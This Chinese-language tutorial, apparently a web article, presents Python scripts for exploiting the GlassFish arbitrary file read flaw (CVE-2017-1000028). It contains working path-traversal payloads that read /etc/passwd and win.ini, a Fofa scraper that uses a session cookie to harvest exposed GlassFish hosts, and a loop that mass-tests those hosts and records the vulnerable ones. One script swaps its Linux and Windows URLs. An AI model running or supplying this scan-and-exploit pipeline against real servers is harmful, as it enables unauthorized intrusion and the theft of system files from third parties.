Python腳本開發(fā)漏洞的批量搜索與利用(GlassFish?任意文件讀取)
更新時間:2022年05月19日 14:36:34 作者:半個西瓜.
這篇文章主要介紹了Python?開發(fā)漏洞的批量搜索與利用(GlassFish?任意文件讀取),主要包括python開發(fā)學習的意義及測試漏洞是否存在的步驟,需要的朋友可以參考下
Python 開發(fā)學習的意義:
(1)學習相關安全工具原理.
(2)掌握自定義工具及拓展開發(fā)解決實戰(zhàn)中無工具或手工麻煩批量化等情況.
(3)在二次開發(fā) Bypass,日常任務,批量測試利用等方面均有幫助.
免責聲明:
嚴禁利用本文章中所提到的工具和技術進行非法攻擊,否則后果自負,上傳者不承擔任何責任。
測試漏洞是否存在的步驟:
(1)應用服務器GlassFish 任意文件讀取 漏洞.
#測試應用服務器glassfish任意文件讀取漏洞.
import requests #調用requests模塊
url="輸入IP地址/域名" #下面這個二個是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #檢測linux系統(tǒng)的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #檢測windows系統(tǒng)
data_linux=requests.get(url+payload_linux).status_code #獲取請求后的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態(tài)碼
data_windows=requests.get(url+payload_windows).status_code #獲取請求后的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態(tài)碼
if data_windows==200 or data_linux==200: #200說明可以請求這個數據.則存在這個漏洞.
print("漏洞存在")
else:
print("漏洞不存在")效果圖:

(2)批量搜索漏洞.(GlassFish 任意文件讀?。–VE-2017-1000028))
import base64
import requests
from lxml import etree
import time
#(1)獲取到可能存在漏洞的地址信息-借助Fofa進行獲取目標.
#(2)批量請求地址信息進行判斷是否存在-單線程和多線程
search_data='"glassfish" && port="4848"' #這個是搜索的內容.
headers={ #要登錄賬號的Cookie.
'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #請求20個.
}
for yeshu in range(1,11): #搜索前10頁.
url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #這個是鏈接的前面.
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #對數據進行加密.
urls=url+search_data_bs
print('正在提取第'+str(yeshu)+'頁') #打印正在提取第的頁數.
try: #請求異常也執(zhí)行.
result=requests.get(urls,headers=headers,timeout=1).content #requests.get請求url,請求的時候用這個headers=headers頭(就是加入Cookie請求),請求延遲 timeout=1,content將結果打印出來.
#print(result.decode('utf-8')) #decode是編碼.
soup=etree.HTML(result) #把結果進行提取.(調用HTML類對HTML文本進行初始化,成功構造XPath解析對象,同時可以自動修正HMTL文本)
ip_data=soup.xpath('//a[@target="_blank"]/@href') #也就是爬蟲自己要的數據 ,提取a標簽,后面為@target="_blank"的href值也就是IP地址.
#print(ip_data)
ipdata='\n'.join(ip_data) #.join(): 連接字符串數組。將字符串、元組、列表中的元素以指定的字符(分隔符)連接生成一個新的字符串
print(ip_data)
with open(r'ip.txt','a+') as f: #打開一個文件(ip.txt),f是定義的名.
f.write(ipdata+'\n') #將ipdata的數據寫進去,然后換行.
f.close() #關閉.
except Exception as e:
pass
#執(zhí)行后文件下面就會生成一個ip.txt文件.效果圖:

(3)漏洞的利用.(GlassFish 任意文件讀取(CVE-2017-1000028))
import requests
import time
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('ip.txt'): #打開ip.txt文件
ip=ip.replace('\n','') #替換換行符 為空.
windows_url=ip+payload_windows #請求windows
linux_url=ip+payload_linux #請求linux
#print(windows_url)
#print(linux_url)
try:
print(ip)
result_code_linux=requests.get(windows_url).status_code #請求linux
result_code_windows=requests.get(linux_url).status_code #請求windows
print("chrck->" +ip) #打印在檢測哪一個IP地址.
if result_code_linux==200 or result_code_windows==200:
with open(r'result.txt','a+') as f: #寫入result.txt文件.
f.write(ip) #如果有漏洞就寫入ip.
time.sleep(5)
except Exception as e:
pass效果圖:

(4)漏洞的利用.

到此這篇關于Python 開發(fā)漏洞的批量搜索與利用(GlassFish 任意文件讀取)的文章就介紹到這了,更多相關python開發(fā) 漏洞內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Anaconda下Python中h5py與netCDF4模塊下載與安裝的教程詳解
這篇文章主要為大家詳細介紹了基于Anaconda,下載并安裝Python中h5py與netCDF4這兩個模塊的方法,感興趣的小伙伴可以跟隨小編一起學習一下2024-01-01
Python調用Windows API函數編寫錄音機和音樂播放器功能
這篇文章主要介紹了Python調用Windows API函數編寫錄音機和音樂播放器功能,本文通過實例代碼給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下2020-01-01
Python強化練習之Tensorflow2 opp算法實現月球登陸器
在面向對象出現之前,我們采用的開發(fā)方法都是面向過程的編程(OPP)。面向過程的編程中最常用的一個分析方法是“功能分解”。我們會把用戶需求先分解成模塊,然后把模塊分解成大的功能,再把大的功能分解成小的功能,整個需求就是按照這樣的方式,最終分解成一個一個的函數2021-10-10
解決python3 requests headers參數不能有中文的問題
今天小編就為大家分享一篇解決python3 requests headers參數不能有中文的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-08-08

